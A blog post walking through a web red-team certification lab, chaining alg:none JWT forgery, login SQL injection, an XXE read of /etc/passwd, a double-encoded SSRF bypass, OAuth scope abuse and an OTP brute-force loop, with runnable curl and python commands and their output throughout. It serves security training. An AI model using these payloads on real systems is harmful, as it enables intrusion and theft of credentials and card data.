DEV Community

inilvinilra
inilvinilra

Posted on

Web-RTA Exam Walkthrough


Every command below was executed live against the exam lab and its verbatim output is quoted underneath as proof — nothing here is theoretical. Instance-specific values (card, credentials, hex, lab IP) are masked; they are useless against any other deployment anyway. CAPTCHA answers and the OTP change every run, so those exact numbers will differ for you — the commands and the method do not.

Certification: Web Red Team Analyst (Web-RTA) · CyberWarFare Labs (CWL)
Format: Practical, black-box · 16 flags across 2 web apps · 30-day lab · not proctored
Result: 16 / 16 ✅

0 · Tools actually used

No Burp, no jwt.io, no CyberChef, no feroxbuster. The whole exam was solved with:

  • curl — 100% of the HTTP interaction: recon, cookies, forms, JSON, SSRF, OAuth flow.
  • python3 — forge alg:none JWTs, decode JWT payloads, solve the math CAPTCHA, hex→base64 decode, double-URL-encode.
  • bash — the OTP brute-force loop and CAPTCHA-per-request automation.
  • ffuf / nmap — initial port + endpoint discovery.
  • Chrome (manual) — eyeballing rendered pages to confirm behaviour.

Why these are enough: both targets are small single-instance Flask apps. No client-side crypto, no anti-automation beyond a solvable math CAPTCHA, and every vulnerable surface is a plain HTTP request. curl + python3 reach all of it directly.

0.1 · Environment + helper functions

# --- set your lab IP here ---
TARGET=<LAB-IP>
W1="http://$TARGET:32736"      # WebApp 01 (Event Manager)
W2="http://$TARGET:30555"      # WebApp 02 (OAuth stack)

# solve the math CAPTCHA served at GET /captcha, e.g. "4 - 18" -> -14
solve(){ python3 -c "import re,sys;q=sys.argv[1].strip();m=re.match(r'(-?\d+)\s*([+\-*])\s*(-?\d+)',q);a,o,b=int(m.group(1)),m.group(2),int(m.group(3));print({'+':a+b,'-':a-b,'*':a*b}[o])" "$1"; }

# forge an alg:none JWT from a JSON payload, e.g. forge '{"sub":"user","role":"user"}'
forge(){ python3 -c "import base64,json,sys;b=lambda o:base64.urlsafe_b64encode(json.dumps(o).encode()).decode().rstrip('=');print(b({'alg':'none','typ':'JWT'})+'.'+b(json.loads(sys.argv[1]))+'.')" "$1"; }

# decode a JWT payload (2nd segment)
jwtdec(){ python3 -c "import base64,sys;p=sys.argv[1].split('.')[1];p+='='*(-len(p)%4);print(base64.urlsafe_b64decode(p).decode('utf-8','replace'))" "$1"; }
Enter fullscreen mode Exit fullscreen mode

0.2 · Discovery (how the endpoints were found)

# ports
nmap -Pn -p 30000-33000 --open $TARGET | grep open
# → 30555/tcp open   32736/tcp open   (+ the ingress noise)

# WebApp 01 content discovery
ffuf -u "$W1/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,401,403,500 -fc 404
# → login, dashboard, captcha, logout
Enter fullscreen mode Exit fullscreen mode

The admin-only endpoints (/admin/events, /admin/events/update/1, /fetch_internal_secret, /api/health, /api/fetch_internal_secret) are not in wordlists — they were read straight out of the admin dashboard's HTML (href= / action=) once the SQLi gave admin. The WebApp 02 endpoints (/client/login, /oauth/userlogin, /oauth/consent, /oauth/otp, /resource/resources, /resource/adminpanel) were pulled from links + curl path-probing.

Phase 1 — Recon → Flags 5 & 6

Vulnerability: information disclosure — the app issues an unsigned session JWT to anonymous visitors and renders the role.

curl -si "$W1/dashboard" | grep -i "set-cookie: access_token_cookie"
Enter fullscreen mode Exit fullscreen mode

Proof:

Set-Cookie: access_token_cookie=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoiYW5vbnltb3VzIn0.; Path=/; SameSite=Lax
Enter fullscreen mode Exit fullscreen mode

Decode the token:

jwtdec "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoiYW5vbnltb3VzIn0."
# {"sub":"anonymous","role":"anonymous"}
Enter fullscreen mode Exit fullscreen mode

Header decodes to {"alg":"none","typ":"JWT"} — no signature (the 3rd segment after the last dot is empty). Confirm the role renders on the page:

ANON="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoiYW5vbnltb3VzIn0."
curl -s -b "access_token_cookie=$ANON" "$W1/dashboard" | sed 's/<[^>]*>/ /g' | tr -s ' \n' ' \n' | grep -viE '^\s*$'
Enter fullscreen mode Exit fullscreen mode
Dashboard
Welcome to Dashboard!
Role: anonymous
Logout
All Events:
No events available.
Enter fullscreen mode Exit fullscreen mode
  • Flag 5 — role of unauthenticated users → anonymous
  • Flag 6 — endpoint where events live → /dashboard

Phase 2 — JWT alg:none → Flags 7 & 8

Vulnerability: JWT alg:none — signature not verified, so the payload is attacker-controlled. Change role to user.

USER=$(forge '{"sub":"user","role":"user","username":"user"}')
echo "$USER"
curl -s -b "access_token_cookie=$USER" "$W1/dashboard" \
  | sed 's/<[^>]*>/ /g' | tr -s ' \n' ' \n' | grep -viE '^\s*$'
Enter fullscreen mode Exit fullscreen mode

Proof:

eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAidXNlciIsICJyb2xlIjogInVzZXIiLCAidXNlcm5hbWUiOiAidXNlciJ9.
Dashboard
Welcome to Dashboard!
Role: user
Logout
All Events:
Masquerade Ball
Super Fun Event
Happening at: 2051-12-31 10:00 | Created by: notatypicalsysadmin
Enter fullscreen mode Exit fullscreen mode
  • Flag 7 — event visible to authenticated users → Masquerade Ball
  • Flag 8 — admin username → notatypicalsysadmin (the event's Created by: field)

Phase 3 — Login SQL injection → signed admin token

Vulnerability: SQL injection in the login username; the query is … WHERE username='X' AND password='<hash>'. Comment out the password check with '--. This is required because forging role:admin via alg:none is rejected (Access denied: invalid admin token) — admin needs a server-signed token, which a successful login mints.

Proof of the wall (forged admin is refused):

ADM=$(forge '{"sub":"x","role":"admin"}')
curl -s -D - -o /dev/null -b "access_token_cookie=$ADM" "$W1/dashboard" | grep -iE "^HTTP|^location"
# → HTTP/1.1 302 FOUND     Location: /   (bounced; flash message: "Access denied: invalid admin token")
Enter fullscreen mode Exit fullscreen mode

Full login flow with CSRF + CAPTCHA:

rm -f admin.jar
# 1) fetch login page → CSRF token
curl -s -c admin.jar "$W1/login" -o login.html
CSRF=$(grep -oiE 'name="csrf_token"[^>]*value="[^"]+"' login.html | grep -oE 'value="[^"]+"' | sed 's/value="//;s/"$//')

# 2) fetch CAPTCHA (answer stored server-side in the session) and solve
Q=$(curl -s -b admin.jar -c admin.jar "$W1/captcha" | python3 -c "import sys,json;print(json.load(sys.stdin)['question'])")
A=$(solve "$Q"); echo "captcha: $Q = $A"

# 3) SQLi login
curl -s -b admin.jar -c admin.jar -D - -o /dev/null "$W1/login" \
  --data-urlencode "csrf_token=$CSRF" \
  --data-urlencode "username=notatypicalsysadmin'--" \
  --data-urlencode "password=anything" \
  --data-urlencode "captcha=$A" \
  --data-urlencode "submit=Login" | grep -iE "^HTTP|^location"

# 4) show the issued cookie (now HS256-signed)
ATC=$(awk '/access_token_cookie/{print $NF}' admin.jar | tail -1)
python3 -c "import base64,sys
t=sys.argv[1].split('.')
d=lambda s:base64.urlsafe_b64decode(s+'='*(-len(s)%4)).decode('utf-8','replace')
print('header   :', d(t[0]))
print('payload  :', d(t[1]))
print('signature:', len(t[2]), 'chars')" "$ATC"
Enter fullscreen mode Exit fullscreen mode

Proof:

captcha: 4 - 18 = -14
HTTP/1.1 302 FOUND
Location: /dashboard
header   : {"alg":"HS256","typ":"JWT"}
payload  : {"sub":"notatypicalsysadmin'--","role":"admin"}
signature: 43 chars
Enter fullscreen mode Exit fullscreen mode

The 302 → /dashboard plus an HS256 cookie with role:admin and a 43-char signature proves the SQLi produced a legitimate admin session, not a forgery.

WAF / query notes (verified):

# any payload containing the substring "and" is dropped → bounced to /login
#   notatypicalsysadmin' AND 1=1--     → Location: /login    (blocked)
#   notatypicalsysadmin'--             → Location: /dashboard (works)
# password is hashed before the query, so injection only works in the username field.
Enter fullscreen mode Exit fullscreen mode

Admin surface (read from the dashboard HTML):

curl -s -b admin.jar "$W1/dashboard" \
  | grep -oiE 'Role: admin|Admin Verified|href="/admin/events[^"]*"|href="/fetch_internal_secret"' | sort -u
Enter fullscreen mode Exit fullscreen mode
Admin Verified
href="/admin/events"
href="/admin/events/update/1"
href="/fetch_internal_secret"
Role: admin
Enter fullscreen mode Exit fullscreen mode

Phase 4 — XXE → Flags 9 & 10

Vulnerability: XXE. The event editor at POST /admin/events/update/1/xml parses attacker XML and reflects it into the event title.

# fresh CSRF from the update page
curl -s -b admin.jar -c admin.jar "$W1/admin/events/update/1" -o upd.html
XCSRF=$(grep -oiE 'name="csrf_token"[^>]*value="[^"]+"' upd.html | grep -oE 'value="[^"]+"' | sed 's/value="//;s/"$//')

# XXE payload: external entity → /etc/passwd, placed in <title>
XXE='<?xml version="1.0"?>
<!DOCTYPE e [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<event><title>&xxe;</title><description>x</description><happening_at>2051-12-31 10:00</happening_at><visibility>user</visibility></event>'

# submit
curl -s -b admin.jar -c admin.jar "$W1/admin/events/update/1/xml" \
  --data-urlencode "csrf_token=$XCSRF" --data-urlencode "xml_data=$XXE" -o /dev/null -w "submit: %{http_code}\n"

# read it back ("View as XML"), pull the passwd flag line
curl -s -b admin.jar "$W1/admin/events/update/1/xml" \
  | grep -oaiE "root:x:0:0[^<]*|webrta:[^<]*|flag:[^<]*"
Enter fullscreen mode Exit fullscreen mode

Proof:

submit: 302
root:x:0:0:root:/root:/bin/bash
webrta:x:1000:1000::/home/webrta:/bin/sh
flag:x:1001:1001:Not there yet Seek out client and go for login:/tmp:/bin/false
Enter fullscreen mode Exit fullscreen mode
  • Flag 9 — file containing "flag" → /etc/passwd
  • Flag 10 — flag value → the whole line: flag:x:1001:1001:Not there yet Seek out client and go for login:/tmp:/bin/false

Verified trap: submitting only flag, or only the comment, is rejected — the answer is the full record. The comment is a literal hint to WebApp 02.

Note: this XXE only returns clean text; a file with <, & or NUL bytes breaks the parse, so source / /proc are not readable this way (tested — they fail).

Phase 5 — SSRF → Flags 11, 12 & 13

Vulnerability: SSRF in the "Check Outage" panel. GET /api/health discloses the internal base; POST /api/fetch_internal_secret fetches a user-supplied URL but filters plain internal URLs — bypassed with double-URL-encoding.

5.1 — internal base (Flag 11 discovery)

curl -s -b admin.jar "$W1/api/health"
Enter fullscreen mode Exit fullscreen mode
{"content_type":"application/json","preview":"{\"message\":\"Service Healthy\",\"status\":\"ok\"}\n","requested_uri":"http://127.0.0.1:8000/health","status":"success","status_code":200}
Enter fullscreen mode Exit fullscreen mode

5.2 — filter proof (plain URL → 418)

curl -s -b admin.jar --data-urlencode "encoded_url=http://127.0.0.1:8000" "$W1/api/fetch_internal_secret"
# {"Error Code":"418","Error Message":"I'm a Teapot!"}
Enter fullscreen mode Exit fullscreen mode

5.3 — double-encode bypass → the secret

# double-URL-encode: server decodes once, so it must arrive still-encoded
DENC=$(python3 -c "import urllib.parse;print(urllib.parse.quote(urllib.parse.quote('http://127.0.0.1:8000',safe=''),safe=''))")
echo "encoded_url = $DENC"
curl -s -b admin.jar --data "encoded_url=$DENC" "$W1/api/fetch_internal_secret"
Enter fullscreen mode Exit fullscreen mode
encoded_url = http%253A%252F%252F127.0.0.1%253A8000
{"content":"{\"hidden_in_layers\":\"64 58 4e 6c 63 6c 38 30 ... 4e 47 4d 3d\",\"service\":\"Status Update\"}\n","content_type":"application/json","requested_uri":"http://127.0.0.1:8000/secret","status":"success","status_code":200}
Enter fullscreen mode Exit fullscreen mode

5.4 — decode "hidden in layers" (Flag 12 → Flag 13)

HEX="64 58 4e 6c 63 6c 38 30 ... 4e 47 4d 3d"   # full hex from the SSRF response
python3 -c "import base64,sys;h=sys.argv[1].replace(' ','');b64=bytes.fromhex(h).decode();print('layer1 (base64):',b64);print('plaintext      :',base64.b64decode(b64).decode())" "$HEX"
Enter fullscreen mode Exit fullscreen mode
layer1 (base64): dXNlcl80ZmI3********************************************...=
plaintext      : user_4fb7********:96f9****************************
Enter fullscreen mode Exit fullscreen mode
  • Flag 11 — internal URL for fetching secrets → http://127.0.0.1:8000/secret (the requested_uri returned by the SSRF)
  • Flag 12 — "hidden in layers" (encoded) → the space-separated hex string
  • Flag 13 — plaintext → a user_…:… credential pair (masked — it's a WebApp 02 login)

Phase 6 — WebApp 02 recon + login → Flags 14 & 15

6.1 — login endpoint (Flag 14)

for e in / /client/login /oauth/userlogin /resource/resources /resource/adminpanel; do
  printf "%-24s %s\n" "$e" "$(curl -s -o /dev/null -w '%{http_code}' "$W2$e")"
done
Enter fullscreen mode Exit fullscreen mode
/                        404
/client/login            200
/oauth/userlogin         200
/resource/resources      302
/resource/adminpanel     302
Enter fullscreen mode Exit fullscreen mode

6.2 — log in with the exfiltrated creds (Flag 15)

rm -f w2.jar
curl -s -c w2.jar -b w2.jar -L "$W2/client/start_oauth" -o /dev/null   # start the flow
curl -s -c w2.jar -b w2.jar -D - -o /dev/null "$W2/oauth/userlogin" \
  --data-urlencode "username=user_4fb7********" \
  --data-urlencode "password=96f9****************************" | grep -i "^location"
Enter fullscreen mode Exit fullscreen mode
Location: /oauth/consent?client_id=client_1337&scope=read
Enter fullscreen mode Exit fullscreen mode
  • Flag 14 — login endpoint → /client/login
  • Flag 15 — client ID → client_1337 (in the post-login redirect)

Phase 7 — OAuth scope abuse + OTP brute → Flag 16

Vulnerabilities: (a) broken scope validation — consent grants whatever scope you request; (b) a 3-digit OTP with no rate limit.

# 1) request admin scope at consent (session already logged in from Phase 6)
curl -s -b w2.jar -c w2.jar "$W2/oauth/consent?client_id=client_1337&scope=admin" \
  | grep -oiE "requests scopes: [a-z]+"

# 2) approve → OTP challenge
curl -s -b w2.jar -c w2.jar "$W2/oauth/consent?client_id=client_1337&scope=admin" --data "" -D - -o /dev/null \
  | grep -i "^location"

# 3) brute the 3-digit OTP (wrong=400, right=302)
for n in $(seq -w 0 999); do
  code=$(curl -s -b w2.jar -c w2.jar -o /dev/null -w "%{http_code}" \
         "$W2/oauth/otp" --data-urlencode "otp=$n")
  [ "$code" != "400" ] && { echo "OTP FOUND = $n (HTTP $code)"; break; }
done

# 4) admin scope granted → read the panel
curl -s -b w2.jar -L "$W2/resource/resources" | grep -oiE "full access[^<]*"
curl -s -b w2.jar "$W2/resource/adminpanel" \
  | sed 's/<[^>]*>/ /g' | tr -s ' \n' ' \n' | grep -iE "bob|number|cvv|expiry"
Enter fullscreen mode Exit fullscreen mode

Proof:

requests scopes: admin
Location: /oauth/otp
OTP FOUND = *** (HTTP 302)
full access (read, write, delete, admin).
 Bob's CC:
NUMBER  : 4367 **** **** 8497
CVV/CVC : ***
EXPIRY  : **/****
Enter fullscreen mode Exit fullscreen mode

The OTP is random per session, so yours will differ — only the technique matters.

  • Flag 16 — Bob's Credit Card → 4367 **** **** 8497 (masked).

Appendix A — full answer table

# Question Answer
1 DB query vuln SQLi
2 Object-id abuse IDOR
3 Internal/external request forgery SSRF
4 Server-side template injection SSTI
5 Unauthenticated role anonymous
6 Events endpoint /dashboard
7 Event name Masquerade Ball
8 Admin username notatypicalsysadmin
9 File containing "flag" /etc/passwd
10 Flag value the full /etc/passwd flag line
11 Internal secrets URL http://127.0.0.1:8000/secret
12 hidden in layers (encoded) space-separated hex blob
13 plaintext user_…:… (WebApp 02 creds)
14 WebApp 02 login endpoint /client/login
15 Client ID client_1337
16 Bob's Credit Card 4367 **** **** 8497

Appendix B — the whole chain, one line each

alg:none JWT (anon → user) → SQLi login (user → signed admin) → XXE (read /etc/passwd) → SSRF (double-encode → /secret → hex→base64 → WebApp 02 creds) → OAuth login (client_1337) → broken scope (read → admin) + 3-digit OTP brute → admin panel → Bob's card.

Appendix C — screenshots to capture (for your run)

  1. Anonymous /dashboard with Role: anonymous + the decoded alg:none cookie.
  2. role=user dashboard showing Masquerade Ball / created by notatypicalsysadmin.
  3. The SQLi login response headers (302 /dashboard) + the decoded HS256 role:admin cookie.
  4. Admin dashboard (Admin Verified + Check Outage / Manage Events).
  5. XXE "View as XML" output with the flag: line.
  6. /api/health (internal URL) and the SSRF 418 vs the double-encoded success with hidden_in_layers.
  7. The hex → base64 → creds decode in your terminal.
  8. WebApp 02 login redirect showing client_1337.
  9. OTP brute hit (302) and /resource/adminpanel with Bob's card.

Key lessons

  1. Check the JWT algorithm first. alg:none walked me to user for free — but the signed-token check on admin is what forced the SQLi. Read the failure message; don't assume one bypass covers every role.
  2. The query shape decides the payload. '-- beats ' OR 1=1-- here because the backend is username AND password — and the WAF happens to blacklist the word and.
  3. Encoding is an attack surface. The SSRF filter fell to a double URL-encode, and the loot was hex-wrapped base64. When a field is literally named encoded_url and a flag is labelled "hidden in layers," believe them.
  4. Read the taunt literally. The /etc/passwd comment was the map to WebApp 02, and Q10 wanted the whole record, not the tidy part.
  5. Scope and OTP are attacker-controlled trust. A consent screen that echoes the scope you request, and a 3-digit OTP with no throttle, are the same root mistake: trusting a value the attacker sets.

Final thoughts

Web-RTA is a solid entry-level web-security certification. It isn't the hardest exam out there, but it's an honest one — it rewards chaining over memorising. JWT manipulation, SQLi, XXE, SSRF and OAuth abuse are all bugs you'll meet in real bug-bounty targets and pentests. If you're preparing: understand JWT structure down to the dot, and drill SSRF + XXE on PortSwigger's Web Security Academy. Everything else flows from those skills.


Written by inilvinilra — security vulnerability researcher.
🔗 GitHub · Website · LinkedIn

Top comments (0)